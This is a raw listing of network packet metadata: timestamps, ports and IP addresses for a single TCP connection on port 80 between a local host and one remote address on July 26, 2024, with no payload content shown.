Jul 26, 2024 09:30:07.961539984 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:07.961551905 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:07.961586952 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:07.961586952 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:07.961589098 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:07.961601019 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:07.961611986 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:07.961622953 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:07.961635113 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:07.961647987 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:07.963202953 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:07.966567993 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:07.966615915 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:07.967015982 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:07.967058897 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.047312021 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.047380924 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.047641039 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.047684908 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.047696114 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.047734976 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.047745943 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.047780991 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.047785044 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.047815084 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.047816038 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.047849894 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.047858953 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.047884941 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.047894001 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.047925949 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.047933102 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.047969103 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.047975063 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.048007965 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.048425913 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.048474073 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.048479080 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.048569918 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.048569918 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.048624039 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.049990892 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.050038099 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.050043106 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.050071955 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.050077915 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.050115108 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.050122976 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.050158978 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.050164938 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.050201893 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.050204039 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.050236940 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.050239086 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.050276995 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.051541090 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.051577091 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.051583052 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.051615953 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.052457094 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.052515984 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.052568913 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.052613974 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.134563923 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.134655952 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.134701967 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.134722948 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.134737968 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.134768963 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.134773970 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.134824991 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.134859085 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.134886026 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.134891987 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.134926081 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.134932995 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.134960890 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.134970903 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.134994984 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.135001898 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135027885 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.135031939 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135070086 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135081053 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.135117054 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.135126114 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135150909 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.135155916 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135185957 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.135194063 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135221958 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.135225058 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135257006 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.135260105 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135291100 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.135293961 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135328054 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.135329962 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135365009 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135423899 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.135457039 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.135473013 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135490894 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.135499001 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135526896 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.135536909 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135555983 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135560989 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.135569096 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135595083 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.135607958 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135622978 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135632038 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.135637045 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135675907 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135924101 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.135977030 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.135977030 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.136013031 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.136015892 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.136050940 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.136064053 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.136099100 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.136110067 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.136132002 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.136140108 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.136167049 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.136183023 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.136199951 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.136203051 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.136234045 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.136235952 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.136266947 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.136271000 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.136301041 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.136312008 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.136338949 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.136821032 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.136854887 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.136879921 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.136892080 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.136908054 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.136940956 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.136945963 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.136974096 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.136982918 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.137010098 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.137011051 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.137046099 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.223691940 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.223722935 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.223731041 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.223736048 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.223747969 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.223761082 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.223776102 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.223799944 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.223810911 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.223809958 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.223823071 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.223834991 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.223838091 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.223838091 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.223846912 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.223855019 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.223858118 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.223865986 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.223869085 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.223879099 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.223881960 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.223890066 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.223902941 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.223923922 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.224009037 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.224020004 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.224025965 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.224071980 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.224071980 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.224086046 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.224097967 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.224109888 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.224123001 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.224123955 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.224149942 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.224167109 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.224220991 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.224232912 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.224244118 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.224255085 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.224266052 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.224267960 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.224278927 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.224288940 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.224296093 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.224303961 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.224356890 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.224513054 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.225009918 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225039005 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225049973 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225073099 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.225089073 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.225116014 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225127935 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225140095 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225151062 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225164890 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225172997 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.225177050 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225188017 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.225188017 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225200891 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225202084 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.225214958 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.225236893 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.225327969 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.225593090 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225615025 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225630999 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225639105 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.225656033 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.225672960 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.225720882 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225733042 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225745916 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225764036 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225764990 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.225776911 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225781918 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.225789070 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225800991 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.225801945 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.225825071 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.225836039 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.226155043 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.226170063 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.226181030 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.226214886 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.226231098 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.228796005 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.228873968 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.228907108 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.228919983 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.228931904 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.228944063 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.228944063 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.228960037 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.228966951 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.228970051 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.228984118 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.228998899 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.229013920 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308154106 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308197021 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308208942 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308221102 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308319092 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308332920 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308345079 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308343887 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308356047 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308367014 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308376074 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308378935 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308383942 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308392048 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308403015 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308422089 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308465004 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308476925 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308506012 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308514118 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308526039 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308542967 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308548927 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308551073 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308557987 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308566093 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308567047 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308568001 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308573008 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308587074 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308588028 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308598042 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308608055 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308609009 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308620930 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308624029 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308640003 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308640957 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308651924 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308660984 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308666945 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308677912 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308679104 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308689117 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308696985 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308698893 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308711052 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308713913 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308732033 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308748960 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308775902 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308794975 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308804989 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308811903 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308816910 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308825970 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308829069 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308829069 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308834076 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308847904 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308865070 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.308962107 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308984041 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.308995962 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.309005976 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.309021950 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.309057951 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.309140921 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.309158087 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.309164047 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.309175014 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.309181929 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.309186935 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.309196949 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.309199095 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.309202909 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.309210062 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.309216022 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.309221983 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.309233904 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.309236050 CEST	49167	80	192.168.2.22	107.173.143.46
